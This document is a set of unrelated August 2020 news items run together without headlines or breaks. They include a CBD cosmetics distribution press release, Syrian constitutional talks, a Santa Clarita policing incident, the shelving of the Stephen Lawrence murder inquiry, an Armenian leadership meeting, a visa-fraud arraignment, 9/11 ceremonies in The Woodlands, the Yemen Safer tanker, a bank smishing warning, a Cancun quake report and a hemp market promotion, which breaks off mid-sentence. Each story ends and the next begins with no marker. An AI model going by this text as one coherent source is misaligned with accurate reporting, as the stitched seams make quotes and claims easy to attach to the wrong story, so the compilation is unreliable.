(CSE: RWB) (OTC: RWBYF) (RWB or Red White & Bloom) and Avicanna Inc. ("Avicanna") (TSX: AVCN) (OTCQX: AVCNF) (FSE: 0NN) are pleased to announce that they have entered into a distribution agreement for the exclusive distribution of Avicannas advanced and clinically backed CBD-based cosmetic and topical products Pura H&W by RWB in the US and certain other markets. A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/24265469-62d9-480d-bdfa-843fb6ee213a The $532 billion beauty industry continues growing rapidly and new trends such as the introduction of CBD cosmetics is anticipated to establish a strong market presence in markets that permit retail sales such as the United States. The Pura H&W branded products utilize CBD, the non-psychoactive cannabinoid, which allows for cosmetic designation and retail sales. The launch of this innovative and premium CBD product line will leverage the growing use of online platforms for shopping; including Pura H&Ws own e-commerce platform, third party e-commerce channels, big box retailers and the existing commercial infrastructure of RWB in the United States. Brad Rogers, chairman and chief executive officer of RWB, stated: "This Agreement with Avicanna reflects our desire to seek out and provide the highest quality products available in the market. These formulations stand head and shoulders above anything else in the category and from our research its the most compelling, evidence-based product that retailers will feel confident listing and consumers can feel confident and comfortable using for their skin care needs. Story continues Under the agreement, which has an initial five-year term, RWB will exclusively distribute the Pura H&W brand and certain other white label brands at RWBs direction. Having been developed by researchers and collaborators from world class medical and academic institutions, the Pura H&W line of products has been developed through a scientific and evidence-based approach. This approach in product development has allowed Avicanna to synergistically combine natural ingredients with CBD in advanced and proprietary formulations that have completed 3 cosmetic human clinical studies. Product development is always commenced with the consumer in mind and specific needs are addressed through analysis in observational as well as interventional clinical studies. Avicannas CBD infused cosmetics and topicals equip RWB with the opportunity to set the standards with advanced research and development for CBD cosmetics and GMP manufacturing. The 3 cosmetic clinical studies were completed on Avicanna's formulations targeted at cosmetic factors associated with aging, acne-prone skin, and eczema-prone skin. The successfully completed studies involved 156 patients that were tested for both safety and certain derma-cosmetic endpoints, including hydration and excess oil production. The results of all three studies achieved positive results in the endpoints with no adverse effects, making these products part of one of the only cannabinoid consumer product lines with human safety and efficacy data. Aras Azadian, CEO of Avicanna, commented: After years of R&D and clinical development of what we believe is the most advanced line of CBD skin care products, we are thrilled to have partnered up with the team at RWB, who provide an ideal partner for Avicanna and the Pura H&W line of products. We believe their access and expertise in the US market through commercial and retail channels will allow the Pura H&W branded products to reach their potential as the leading skin care brand. Terms of the agreement RWB will pay Avicanna an upfront licensing free in the amount of two hundred fifty thousand Canadian dollars (CAD$250,000) in cash, along with minimum purchase requirements for the rights to be the exclusive distributor of Avicannas Pura H&W branded cosmetics products in the US. Under the agreement, RWB also has the right to purchase Avicannas cosmetics products for distribution into the US and certain other territories under brands of RWBs choosing. The initial product offerings under the agreement will include body and face lotions, cosmetic creams, gels and serums, as well as soaps and bath bombs. To the knowledge of the Company, it carries out its operations in compliance with all applicable laws in the jurisdictions in which it operates. About Red White & Bloom Brands Inc. The Company is positioning itself to be one of the top three multi-state cannabis operators active in the U.S. legal cannabis and hemp sector. RWB is predominately focusing its investments on the major US markets, including Michigan, Illinois, Massachusetts, California, and Florida with respect to cannabis, and the US and internationally for hemp-based CBD products. For more information about Red White & Bloom Brands Inc., please contact: Tyler Troup, Managing Director Circadian Group IR IR@RedWhiteBloom.com Visit us on the web: www.RedWhiteBloom.com Follow us on social media: Twitter: @rwbbrands Facebook: @redwhitebloombrands Instagram: @redwhitebloombrands About Avicanna Inc. Avicanna is an Ontario, Canada based corporation focused on the development, manufacturing, and commercialization of plant-derived cannabinoid-based products through its two main business segments, cultivation and research and development. Avicanna's two majority-owned subsidiaries, Sativa Nativa S.A.S. and Santa Marta Golden Hemp S.A.S., both located in Santa Marta, Colombia are the base for Avicanna's cultivation activities. These two companies are licensed to cultivate and process cannabis for the production of cannabis extracts and purified cannabinoids including cannabidiol (CBD) and tetrahydrocannabinol (THC). Avicanna's research and development business is primarily conducted out of Canada at its headquarters in the Johnson & Johnson Innovation Centre, JLABS @ Toronto. Avicanna's scientific team develops products, and Avicanna has also engaged the services of researchers at the Leslie Dan Faculty of Pharmacy at the University of Toronto for the purpose of optimizing and improving upon its products. Avicanna's research and development and cultivation activities are focused on the development of its key products, including plant-derived cannabinoid pharmaceuticals, phyto-therapeutics, derma-cosmetics, and Extracts (defined as plant-derived cannabinoid extracts and purified cannabinoids, including distillates and isolates), with a goal of eventually having these products manufactured and distributed through various markets. For more information about Avicanna, visit www.avicanna.com, call 1-647-243-5283, or contact Setu Purohit, President by email at info@avicanna.com. Cautionary Note Regarding Forward-Looking Information and Statements This news release contains "forward-looking information" within the meaning of applicable securities laws. Forward-looking information contained in this press release may be identified by the use of words such as, "may", "would", "could", "will", "likely", "expect", "anticipate", "believe, "intend", "plan", "forecast", "project", "estimate", "outlook" and other similar expressions, and includes statements with respect to the ability of Avicanna or RWB to perform under the agreement, the manufacturing of the products, the shipping and delivery of the products to customers in the United States and worldwide, and the appropriate education and marketing efforts. Forward-looking information is not a guarantee of future performance and is based upon a number of estimates and assumptions of management in light of management's experience and perception of trends, current conditions and expected developments, as well as other factors relevant in the circumstances, including assumptions in respect of current and future market conditions, the current and future regulatory environment; and the availability of licenses, approvals and permits. Although the Company believes that the expectations and assumptions on which such forward-looking information is based are reasonable, undue reliance should not be placed on the forward-looking information because the Company can give no assurance that they will prove to be correct. Actual results and developments may differ materially from those contemplated by these statements. Forward-looking information is subject to a variety of risks and uncertainties that could cause actual events or results to differ materially from those projected in the forward-looking information. Such risks and uncertainties include, but are not limited to current and future market conditions, including the market price of the common shares of the Company, the delay or failure to receive regulatory approvals, and the risk factors set out in the Company's annual information form dated August 7, 2020, filed with the Canadian securities regulators and available under the Company's profile on SEDAR at www.sedar.com. The statements in this press release are made as of the date of this release. The Company disclaims any intent or obligation to update any forward-looking information, whether as a result of new information, future events or results or otherwise, other than as required by applicable securities laws. The proceedings of the Syrian Constitutional Committee (SCC), which is scheduled to convene later in August, should be moved from the Swiss city of Geneva to Damascus, Qadri Jamil, the leader of the Syrian opposition's Popular Front for Change and Liberation and head of the Moscow Platform, said at an online press conference on Tuesday ST. PETERSBURG (UrduPoint News / Sputnik - 11th August, 2020) The proceedings of the Syrian Constitutional Committee (SCC), which is scheduled to convene later in August, should be moved from the Swiss city of Geneva to Damascus, Qadri Jamil, the leader of the Syrian opposition's Popular Front for Change and Liberation and head of the Moscow Platform, said at an online press conference on Tuesday. "We reiterate our proposal and ask once again our opposition colleagues and the regime to reconsider their negative reaction to the idea of transferring work of the Syrian Constitutional Committee from Geneva to Damascus," Jamil said. The Moscow Platform head called on the United Nations and the guarantors of the Syrian peace process, which includes Russia and Turkey, to ensure the safety of the proceedings should the SCC move to Damascus. "You can start working abroad, you can appoint members of the committee abroad, but its work must take place domestically. We demand that future meetings are held in Syria and do not see any obstacles to do so. We also ask the guarantors and the UN to ensure safety," he said. In late July, the UN special envoy for Syria, Geir Pedersen, announced that the third session of the SCC would be held on August 24 in Geneva. Russian Ambassador to the United Nations Vassily Nebenzia welcomed the announcement and reiterated Moscow's intention to support intra-Syrian dialogue. The SCC met for the first time this past October. The 150-member body, containing an equal number of representatives from the government, opposition, and civil society, was established to draft a new constitution for Syria within the ongoing UN-backed peace process. (Newser) The Los Angeles County Sheriff's Department is investigating an incident last week in which three teens, two of whom are Black, called 911 to report an attackand ended up getting guns drawn on them by the deputies who responded. The teens were sitting at a Santa Clarita bus stop Friday when a man pulled a knife after he asked if they had any crack and they told him to leave them alone. The teens used their skateboards to ward off his knife thrusts, and multiple people called 911. Video of the incident shows at least three deputies approaching the bus stop with guns drawn, pointed at the teens, who were handcuffed and placed into the police cars. They were released after about 30 minutes with no charges, the Los Angeles Times reports. A lawyer for their families is considering legal action, and the city's mayor has called for the deputy involved to be removed from duty until the investigation is complete. story continues below "During all of this time, you have bystanders telling them that, in fact, the teens are the victims," says the lawyer representing one of the families. "And the deputies dont seem to be quite so responsive." People can, in fact, be heard on the video telling the deputies just that, including one manager of a nearby business who tells them she was one of the 911 callers who explained that a man with a knife had been chasing the teens. The deputies claim they got a call about someone being assaulted with a skateboard, and they're detaining the teens based on that call. The sheriff has since said in a statement that he has "concerns regarding the tactics employed" and has opened a probe. "Especially after George Floyd, I sat him down and talked to him about how to respond if he was ever approached by police, so he knew exactly what to do," one of the moms tells NBC LA. "How to follow orders, not to say anything, not to do anything out of character. So to see how they treated the boys, it was literally heartbreaking. I couldn't watch the full video." (Read more racism stories.) Stephen Lawrences mother accused Scotland Yard of giving up on her son last night after the force effectively conceded defeat in its quest to nail all of his racist killers. In a carefully-worded statement 27 years after the teenager was murdered, Met chief Dame Cressida Dick said the inquiry had run out of leads. She announced the inquiry which has cost tens of millions of pounds had entered an inactive phase. Although two men were convicted of killing Stephen in 2012, the remainder of a gang of at least five white youths involved in the attack are now unlikely to ever face prosecution. Last night, the teenagers parents expressed frustration that three of their sons murderers may never be held responsible. Stephens mother Baroness Doreen Lawrence said she was truly disappointed that those others who were equally responsible for my sons racist killing may not be brought to justice. Murdered: Stephen Lawrence, pictured, was killed back in April 1993. The Met police have announced that the inquiry into his death has entered an 'inactive phase' Accusing the Met of giving up on her son, she added: I am very sad that a line has now been drawn into the investigation and that it is now in an inactive phase. Despite this, I would still urge anyone who has any information that could help me get all of Stephens killers convicted, to come forward. It is never too late to give a mother justice for the murder of her son. Whilst the Metropolitan Police have given up, I never will. Her former husband, Neville Lawrence, said he was disappointed but not surprised by the Met statement. He said that although the Met had closed the case, the case can never be closed for me. I had hoped that the conviction of two of the killers in 2012 would lead to new evidence coming to light and a prosecution of the other suspects, he said. This has unfortunately not happened and over the last few years I have had to come to terms with the reality that some of the killers of Stephen may never be brought to justice for what they did. Stephens mother Baroness Doreen Lawrence, pictured giving evidence to Home Affairs Select Committee, said she was truly disappointed that those others who were equally responsible for my sons racist killing may not be brought to justice Neville Lawrence, pictured, said he was disappointed but not surprised by the Met statement Labour leader Sir Keir Starmer described the decision to shelve the Lawrence murder investigation as upsetting. I have just called Doreen Lawrence following the upsetting decision from the Metropolitan Police to close Stephens case, the former director of public prosecutions, tweeted. We worked together on her sons case and I know she will never rest in her fight for justice for Stephen, and she will also never rest in her fight for equality across society and we will fight with her every step of the way. Stephen, an 18-year-old A-level student, was murdered in Eltham, south-east London, in April 1993. However, a bungled police inquiry meant that no arrests were made for two weeks after his death. In February 1997, the Daily Mail took the unprecedented step of naming the five suspects Gary Dobson, David Norris and three others as Stephens killers. In February 1997, the Daily Mail took the unprecedented step of naming the five suspects Gary Dobson, David Norris and three others as Stephens killers. Pictured: The front page of the Daily Mail on February 14, 1997 Under the front-page headline Murderers, we challenged the gang to sue. But they never did and former Labour home secretary Jack Straw has since stated that the Mails front page and subsequent Justice for Stephen campaign played a crucial role in his decision to set up the Macpherson public inquiry into botched handling of the case, which branded the Met institutionally racist. Following a DNA breakthrough, Dobson, now 45, and Norris, now 43, were found guilty in 2012 of stabbing the teenager. They had been named as suspects within 48 hours of the stabbing in April 1993. No others were ever charged. In her statement yesterday, Dame Cressida said she was sad the force had been unable to secure any further convictions for Stephen, his family and friends. The investigation has now moved to an inactive phase, but I have given Stephens family the assurance that we will continue to deal with any new information that comes to light, she said. The investigation will also be periodically reviewed for any further investigative opportunities which may arise, for example with advances in technology. The latest phase of the investigation into Stephens murder began in 2014, with a new senior detective taking over as the lead officer from Clive Driscoll, the highly-respected officer who oversaw the successful prosecution of Dobson and Norris. Pictured: Britain's Metropolitan Police Commissioner Cressida Dick (L) poses for a photograph with Doreen Lawrence (R) as they arrive to attend a memorial service at St Martin-in-the-Fields in Trafalgar Square in London, on April 23, 2018. Dick made the announcement to say that the inquiry was entering an 'inactive phase' Since then, more than 240 new witness statements have been taken. The Met also examined a womans DNA obtained from a bag strap discarded at the scene of the murder. Despite a major appeal for information, that woman has not been identified. Officers also sought to identify a man who had been near the murder scene wearing a jacket with a distinctive V-shaped emblem. A third line of inquiry had been to track down a man who had called the BBCs Crimewatch programme in 2013 to say he had information about the attack. The Met said it had created more than 1,880 documents and messages and raised over 1,580 actions to work through. The appeal generated more than 40 lines of enquiry for the investigation team, the Met said. Despite exhaustive efforts, officers were unable to trace the individuals. Portrait of the five thugs in the spotlight David Norris, now 43 Norris, who has five children from various relationships, was jailed for a minimum of 14 years and three months when convicted of Stephens murder in 2012. The gangsters son grew up in leafy Chislehurst, miles from his fellow gang members who were raised in the more deprived area of Eltham. Norris, who has convictions for violence and racism, sought 10,000 in damages after he was beaten up in jail in 2017. In 2002, he was jailed for abusing an off-duty police officer on the same road where he and four others had slain Stephen nine years earlier. Gary Dobson, now 45 Dobson is serving a life sentence in HMP Warren Hill, Suffolk, after he and David Norris were convicted of Stephens murder in 2012 when new forensic evidence linked them to the killing. The father of two was jailed for a minimum of 15 years, two months, and his earliest release date could be 2026. For 20 years he maintained his innocence but effectively admitted his guilt in 2013 when he abandoned an appeal against his conviction. Gary Dobson (left) and David Norris were both convicted of the murder of Stephen Lawrence in 2012 at the Old Bailey Jamie Acourt, now 44 Acourt is 18 months into a nine-year jail sentence over a 4million cannabis plot having spent years in Spain on the run. In 2018 he was found in Barcelona, where he had lived for two years as Simon Alfonzo. He was arrested over Stephens murder in 1993 but, like his brother Neil, was never convicted. At his sentencing for the drug plot in 2018, his barrister claimed the only reason he hid was that he feared the press coverage he would get after years of being dogged by stories about his suspected involvement in the murder. Neil Acourt, now 45 Neil Acourt was released from prison last year after being jailed for his part in a 4million drugs racket. He was seen just two miles from where Stephen was murdered last April while out on licence, loading tools into a van. Acourt was never convicted of Stephens murder but was jailed for 18 months in 2002 for a racist attack on an off-duty black detective then imprisoned in 2017 for his role in the drug-smuggling operation. In 1994 a police surveillance team filmed him making appalling racist remarks. Luke Knight, now 43 Knight was never convicted as there was insufficient evidence linking him with the murder. He is the only one of the five arrested over Stephens killing who does not have a conviction. He was held in 1993 over the murder but was released. He appeared in court again in 1996 when Stephens parents brought a private prosecution, but walked free when it collapsed. Left: Jamie Acourt, now 44; Centre: Neil Acourt, now 45; Right: Luke Knight, now 43 Advertisement Im truly disappointed, but Ill never lose hope In a statement, Stephens mother, Baroness Lawrence said: Eight years after the conviction of two of the men that murdered Stephen I am now told that there are no further leads to follow in the investigation. Very sad: Baroness Lawrence, pictured, has spoken of her disappointment I am truly disappointed that those others who were equally responsible for my sons racist killing may not be brought to justice. I would like to thank Clive Driscoll who was the senior investigating officer responsible for the conviction of Gary Dobson and David Norris which took place almost 20 years of me fighting for justice. Having Clive Driscoll on Stephens case made all the difference to me and had he had the opportunity of continuing to investigate the murder there may have been more convictions. I am very sad that a line has now been drawn into the investigation and that it is now in an inactive phase. Despite this, I would still urge anyone who has any information that could help me get all of Stephens killers convicted, to come forward. It is never too late to give a mother justice for the murder of her son. Whilst the Metropolitan Police have given up, I never will. Case isnt closed for me, I dont regret our fight Stephen's father, Neville Lawrence said: I am disappointed to hear this news but not surprised. I had hoped that the conviction of two of the killers in 2012 would lead to new evidence coming to light and a prosecution of the other suspects. Neil Lawrence, Stephen's father, has said 'the case isn't closed for me' This has unfortunately not happened and, over the last few years, I have had to come to terms with the reality that some of the killers of Stephen may never be brought to justice for what they did. Stephen died 27 years ago in a senseless murder by racists. The tragedy of this for us was compounded by the initial police response and investigation which were tainted by racism and incompetence. The police failures meant that we as a family had to fight a system as well as deal with the grief of losing our son. With the announcement today that the investigation has become inactive, I am conscious that the case can never be closed for me. I will always live with the hope that someone might come forward with evidence which will allow us to achieve full justice for Stephen by bringing about the prosecution of the others responsible for his murder. I do not regret our fight for justice, although the burden has at times felt too heavy for a family to bear. In fact, I am immensely proud of everything that has been achieved along the way. Without the campaign we wouldnt have been where we are today. I particularly note the support I have received over the years from families who have suffered what I have, especially the family of Richard Adams, who provided me with support in my darkest hours. This experience has compelled me to try and provide this support to others struck by the tragedy of losing a child. President of Armenia Armen Sarkissian today had a meeting with Prime Minister Nikol Pashinyan at the presidential residence, as reported the press service of the President of Armenia. Sarkissian and Pashinyan discussed issues related to the current agenda and problems and development programs. President Sarkissian particularly stated the following: I believe Armenias current tasks are important. For months, Armenia and the rest of the world have been fighting against the coronavirus pandemic. I follow the statistics every day and am glad to see that the number of cases is dropping, but I agree with you that people cant get too excited and must maintain personal hygiene and social distancing. Armenias current economic hardships are also linked to the pandemic. The whole world is facing economic hardships, but this doesnt ease the burden on the shoulders of the country and particularly the government. The global situation has an indirect impact on Armenias economy and will have a major impact on certain sectors, including hotel services, tourism, etc. I wish you and the government success and reiterate the fact that I am ready to do everything I can to support the government. In addition to the current problems, we witnessed the recent events in Tavush Province. I recently visited the province, particularly Chinari village and was very glad to see that the people were full of vigor and optimistic. I also express my support to you, the Ministry of Defense and our army. I believe these difficult times will become the start of a bright future, and I hope Armenia takes advantage of its peculiarities and advantages and overcomes the hardships. The Prime Minister particularly said the following: I am happy and thankful for this meeting. We had a remote meeting once during these past months. Yes, the coronavirus is a major issue for Armenia. If we take a look back, we can state that in late April, the government recorded the fact that the restrictions wont lead to the desired outcome and that Armenia lost 70,000 jobs. There was also tension in the region. In spite of the UN Secretary Generals call for global ceasefire, Azerbaijan was making more and more belligerent statements, and it was clear to me that the country had to be ready for possible escalation. The government set the main objective to make sure the capacities of the healthcare industry grow so much that no citizen is left behind, and I can say that the government met its objective. As a result, based on the statistics in June, we even had more jobs compared to the same period last year. It was clear to me that if the government was guided by the logic of healthcare, the country would face a social collapse. Unfortunately, many people have died as a result of the coronavirus in Armenia, and yes, you are right, there is a very serious decline in the number of cases, but the number of deaths is rising every day. What is painful is the fact that Armenia has reported more than 800 deaths. However, we have a chance to be in the best situation in the autumn. Yes, you are right, in essence, Armenia also has economic issues and is currently trying to find solutions. The main objective is to maintain and add jobs, and this means the promotion of export, production and consumption. You surely know that the government carried out over 20 anti-crisis measures. What happened in Tavush Province? Of course, this was clearly Azerbaijans aggression against Armenias sovereign territory. However, it is very important to state that the Azerbaijani authorities myth that the Azerbaijani army is at an advantage over the Armenian army is now false, and in my opinion, this is creating a totally new geopolitical and military-political situation in our region. To a great extent, this reinforces Armenias position that there is no military solution to the Nagorno-Karabakh issue and that the issue can only be solved through peace. Armenias armed forces are ready to maintain the countrys territorial integrity and borders, and I am glad to state that the tremendous reforms made over the past two years have been fruitful. Unfortunately, this year is a year of many hardships and difficulties and major incidents, and the blast in Beirut and the events in Lebanon are directly linked to the lives of Armenians. In response to the Prime Minister, Sarkissian said the following: I am glad to hear that we have the same views. I agree that Armenia has to be very careful with the coronavirus and hope that even if the country faces a second wave, it will be able to overcome it with experience. There are economic sectors that will be hit by the coronavirus and will need the governments support. I fully agree that there cant be any moral explanation for Azerbaijans attack. I have been following Turkey, Azerbaijan and European and Russian policies for years, and I am concerned about the line that Azerbaijan crossed, the countrys attempts to create an impression that Armenia presents a danger for international infrastructures passing through the territory of Azerbaijan and the Azerbaijani governments statements that Azerbaijan can strike the Armenian nuclear power plant. Taking the opportunity, I would like to say that the President of Armenia, the presidential institution and the Presidents friends are ready to support the government to overcome the hardships in all these directions. The Sacramento County Court and Jail in Sacramento, Calif., on Aug. 10, 2020, where Chinese fugitive Juan Tang is being held. (Nancy Han/NTD) Chinese Fugitive Pleads Not Guilty, Hearing Set for September Juan Tang, a former University of California, Davis (UC Davis) researcher, was arraigned on Aug. 10 before U.S. Magistrate Judge Edmund Brennan at the United States District Court in Sacramento, California. Tang was charged on Aug. 6 with a two-count indictment of visa fraud and making false statements. She allegedly obtained a J-1 visa by making false statements, claiming she was not part of the Chinese military and did not serve it. Juan Tangs apartment in Davis, Calif. on Aug. 10, 2020. (Nancy Han/NTD) Judge Brennan read her indictments and the penalties she will be given if convicted. According to Heiko Coppola, the assistant U.S. Attorney who is prosecuting the case, the government seized about 260 GB of data or 2.8 million files across four devices. The defendants new lawyer, Malcolm Segal, will review the files. Segal asked to present the case again around four weeks later. The defendant pleaded not guilty. The next hearing is set for Sept. 1 at 9:15 a.m. before Judge John Mendez. Penalties for visa fraud (first count) are a maximum of 10 years in prison or a fine of $250,000, or both fine and imprisonment and a supervised release of up to 3 years. Penalties for making false statements (second count) is a maximum of 5 years in prison or a fine of $250,000, or both fine and imprisonment and a supervised release of up to 2 years. Both penalties have a $100 special assessment fee. She was arrested on July 23 and made an initial appearance in federal court on July 27. The COVID-19 pandemic may have caused the postponement and cancellation of numerous township festivals and events, but it will not halt two solemn remembrance ceremonies that are dedicated to the men and women who died during the 9/11 terror attacks in 2001. The two events Patriot Day of Rembrance in the morning and First Responders Day in the evening will be hosted Sept. 11 at The Woodlands Central Fire Station and Town Green Park, respectively. The Patriot Day of Remembrance is scheduled for 7:30-8 a.m. at Central Fire Station, 9951 Grogans Mill Road. Members of The Woodlands Fire Deparment Honor Guard and others will conduct the Presentation of Colors and do a reading of The Firemans Prayer as well as the time-honored tradition, The Ringing of the Bell that honors fallen firefighters. The First Responders Day is scheduled for 5:30-6:30 p.m. at Town Green Park, 2099 Lake Robbins Drive, At that event, officials will, honor and thank first responders with a community gathering featuring a Presentation of Colors by the Montgomery County Sheriffs Office Honor Guard, and various speakers. Nick Wolda, communications director for The Woodlands, said township officials have been working hard to begin to restart many community programs and events in the safest manner possible, including the recent revival of the Rock The Row Thursday night concerts at Hughes Landing and now the traditional ceremonies that honor and recognize heroes from the terror attacks of Sept. 11, 2001. Related: Woodlands marks 9/11 attacks with memorial ceremony Firefighters and public safety are very important to us, as are first responders. These are people who put their lives on the line for us every day. We need to take them time to honor these men and women. The 9/11 is a very significant time in our country. We honor our country at that time (Sept. 11), Wolda said. Weve started to have open up events again, and the decision to have these two events Patriot Day and First Responders Day it is very important for people to acknowledge first responders. we will still be in this pandemic at that time, but we encourage people to be responsible, maintain spacing and wear masks. Township Director Bob Milner, who is a U.S. Air Force veteran, said he is hopeful the two events can be hosted with safety measures in place. Milner, elected in 2019, is one of two veterans on the township board along with Chairman Gordy Bunch. Pending any sudden uptick of COVID-19, I believe the township team can provide a safe environment with masks and social distancing. While it may not be as grand or in scale as previous years, I believe it can be performed safely. This event would need to have the cooperation of those attending to help ensure that safe environment as well, Milner said in an email. I do plan to attend in a safe and responsible manner to not only support the event; but as a proud American and veteran, to show respect for the significance of that day in this country, the world, those who lost their lives and/or loved ones, and our heroic first responders. The two events will take place but with social distancing and face masks or coverings highly recommended by officials to ensure proper CDC protocols are followed. Because of the social distancing, the event may have a reduced capacity from previous years. Those planning to attend either or both of the events should practice social distancing, refrain from gathering in large groups, wear a face covering and continue following all guidelines established by the CDC when in public spaces and around others outside of their own households, township officials stated in a press release. Township Director John Anthony Brown said chairs for the event will be placed far enough away to provide proper distancing and for those who might be taking part in the ceremony should be wearing masks. Brown, a Philadelphia native, also said the event is a needed reminder of unity in the nation especially during difficult and challenging times. I think now, more than ever, it is important to remember that tragic day and what brought us together as a nation. As we are currently in flux as a society, we should remember those who unrelentlessly put themselves into harms way to rescue those in trouble and unfortunately lost their lives, Brown said in an email. In my opinion, it is a time to reflect and appreciate our first responders who risk their lives everyday. It is a time to know that when tragedy of epic proportions like 9/11 happens, we selfless heroes who are willing to put their lives on the line. From what I understand, the ceremonies themselves will be managed as safely as possible. I ask that if anyone is able to do so, please be responsible and wear a mask. Fellow board member Shelley Sekula-Gibbs echoed Browns and Milners comments, also noting she is humbled to attend the event for the first time as an elected board member. Sekula-Gibbs was elected in 2019 along with Milner the two newest elected board members. I ask everyone to pause and remember the tragic killing of thousands of innocent people by Islamist terrorists who hijacked four passenger jets and flew them into the World Trade Center Twin Towers, the U.S. Pentagon, and a field near Shanksville, Penn.. On that day, we are also called to honor the bravery of firefighters, paramedics, and law enforcement officers who died trying to save lives, Sekula-Gibbs said. It is right and just to honor the almost 3,000 men, women and children who were killed on 9/11. I am humbled by their bravery and grateful to their colleagues who continue to rescue, serve and protect our communities. Our society would not exist without these trained professionals who run toward danger when disaster strikes. jeff.forward@chron.com Source: Xinhua| 2020-08-11 03:32:04|Editor: huaxia Video Player Close UNITED NATIONS, Aug. 10 (Xinhua) -- The United Nations appealed on Monday for access to the derelict tanker, Safer, off Yemen in order to prevent a catastrophic leak of more than 1 million barrels of oil. The Beirut port explosion last week highlights the urgency of resolving the threat of an oil spill from an aging vessel that has had almost no maintenance since 2015, said the UN Office for the Coordination of Humanitarian Affairs (OCHA). A major spill would be catastrophic for the environment and would destroy the livelihoods of coastal communities in Yemen. Most of the oil would likely wash up on Yemen's west coast in areas controlled by the Houthi authorities, it said. A spill would also likely force Hodeidah port, Yemen's largest, to close for weeks or months, OCHA said. Since Yemen imports nearly all its food and everything else through the port, there would be devastating consequences for millions of people, including communities located far from the coast. Two months ago, seawater began leaking into the engine room, which could have destabilized and sunk the entire vessel, potentially releasing all the oil into the sea. A temporary fix was applied, but it is unclear how long this might last. The United Nations officially requested the rebel Houthi authorities on July 14 to allow an assessment and initial repair mission to the Safer and now is urging them to expedite the necessary procedures so work can begin. "The main purpose of the mission will be to conduct a technical assessment and undertake whatever initial repairs might be feasible," OCHA said. "Because the Safer has gone so long without maintenance, its current status is not clear." "The technical assessment will provide the scientific evidence we need to determine how best to resolve this challenge in the safest way possible. The United Nations is eager to work with the Houthi authorities and all relevant stakeholders to achieve this," said OCHA. Enditem A local county councillor has spoken of receiving a text message purporting to be from a bank or a financial institution which turned out to be a scam. Cllr Pearse McGeough is now warning people not to click into any link in a text message from a bank or a financial institution. He explained what happened last week: I received a text today telling me that my PTSB online access was frozen and if I wanted to recover my account I had to click a link. I do not bank with PTSB so I was immediately wary, but I have to say, it was believable and if I was a PTSB customer I may have been tempted to click it. About an hour later a constituent told me of a text she had received from Bank of Ireland which was very similar so this seems to be the latest scam doing the rounds. Earlier, Bank of Ireland announced that they were aware of the smishing (SMS Phishing) scam and were set to conduct a review after several customers were conned out of thousands of euro. Cllr McGeough added: Apparently the tactic involves the scammers sending bulk texts randomly to mobile phone numbers all saying the same thing. It only takes a few people to respond and the scammers are quids in. These scammers are professional at this and are very believable when they get you on the phone. I want to warn people firstly that this particular scam is doing the rounds and secondly to remind people never to divulge any personal banking details over the phone to anyone, a genuine call from a bank or financial institution will never ask for login details or passwords. If you are concerned or worried about a call, hang up and dial the bank directly yourself or call into your branch and speak with someone. Cancun shopping center evacuated due to Honduras earthquake Cancun, Q. R. After the report of an earthquake in Honduras, government officials in Quintana Roo have ruled out damage. The 5.7 tremor, which happened at 9:13 a.m. Monday off the coast of Honduras, was felt by some as far away as Cancun. Many residents in the states capital city of Chetumal reported feeling the ground shake from the earthquake. Quintana Roo Civil Protection ruled out damage in the state. State governor Carlos Joaquin also took to social media to confirm there was no reported damage to health or other infrastructure due to the Honduras quake. A shopping center in the Cancun Hotel Zone was evacuated due to the earthquake. Civil Protection of the municipality of Benito Juarez (Cancun) also confirmed zero reports of damage from the 5.7 earthquake. Antonio Riveroll Ribbon, head of the municipal agency, did say that tours will still be made to verify that there has not been any structural damage to buildings. Emmanuel Hedding Medina, coordinador operativo de Proteccion Civil de Solidaridad, added that one person from Playa del Carmen and two from Puerto Aventuras reported feeling tremors. He said several people called the agency asking if there was an earthquake. A report issued by the Colombian Geological Survey said it was a shallow depth 5.6 earthquake north of Honduras. The global industrial hemp market size is expected to grow by USD 3.35 billion during 2020-2024. The report also provides the market impact and new opportunities created due to the COVID-19 pandemic. We expect the impact to be significant in the first quarter but gradually lessen in subsequent quarters with a limited impact on the full-year economic growth. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200810005427/en/ Technavio has announced its latest market research report titled Global Industrial Hemp Market 2020-2024 (Graphic: Business Wire) Request challenges and opportunities influenced by COVID-19 pandemic Request a Free Sample Report on COVID-19 Impacts Hemp fibers are increasingly being used as a raw material for textile yarn production and are considered as a great substitute for cotton and synthetic fibers. The increasing demand for hemp in the textile industry is attributed to the technological, ecological, and economic superiority of hemp. Industrial hemp is used for manufacturing canvas, sailcloth, rope, sacks, clothing, specialty textiles, and other products. Hence, the high demand from the textile industry will drive the industrial hemp market size during the forecast period. To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR44462 As per Technavio, the rise in the legalization of hemp cultivation will have a positive impact on the market and contribute to its growth significantly over the forecast period. This research report also analyzes other significant trends and market drivers that will influence market growth over 2020-2024. Industrial Hemp Market: Rise in the Legalization of Hemp Cultivation With the rising focus on the use of natural resources to reduce the dependence on petroleum resources, several governments, and regulatory agencies are focusing on legalizing hemp cultivation. They are also approving the use of hemp for commercial applications. As a result, hemp cultivation is expected to increase, which will result in a reduction of dependency on the import of hemp seeds. Thus, the rise in the legalization of hemp cultivation will fuel the industrial hemp market growth during the forecast period. "Other factors such as the increase in mergers and acquisitions, capacity expansions, and product development will have a significant impact on the growth of the industrial hemp market value during the forecast period," says a senior analyst at Technavio. Register for a free trial today and gain instant access to 17,000+ market research reports Technavio's SUBSCRIPTION platform Industrial Hemp Market: Segmentation Analysis This market research report segments the industrial hemp market by application (textiles, hemp-based CBD, food and supplements, personal care, and others) and geography (APAC, North America, Europe, South America, and MEA). The APAC region led the industrial hemp market share in 2019, followed by North America, Europe, South America, and MEA respectively. During the forecast period, APAC is expected to register the highest incremental growth due to factors such as the rise in the geriatric population and the growing concern of skin diseases due to UV light exposure. Hemp is increasingly being used in food and personal care products in the region. Technavio's sample reports are free of charge and contain multiple sections of the report, such as the market size and forecast, drivers, challenges, trends, and more. Request a free sample report Some of the key topics covered in the report include: Market Drivers Market Challenges Market Trends Vendor Landscape Vendors covered Vendor classification Market positioning of vendors Competitive scenario About Technavio Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market 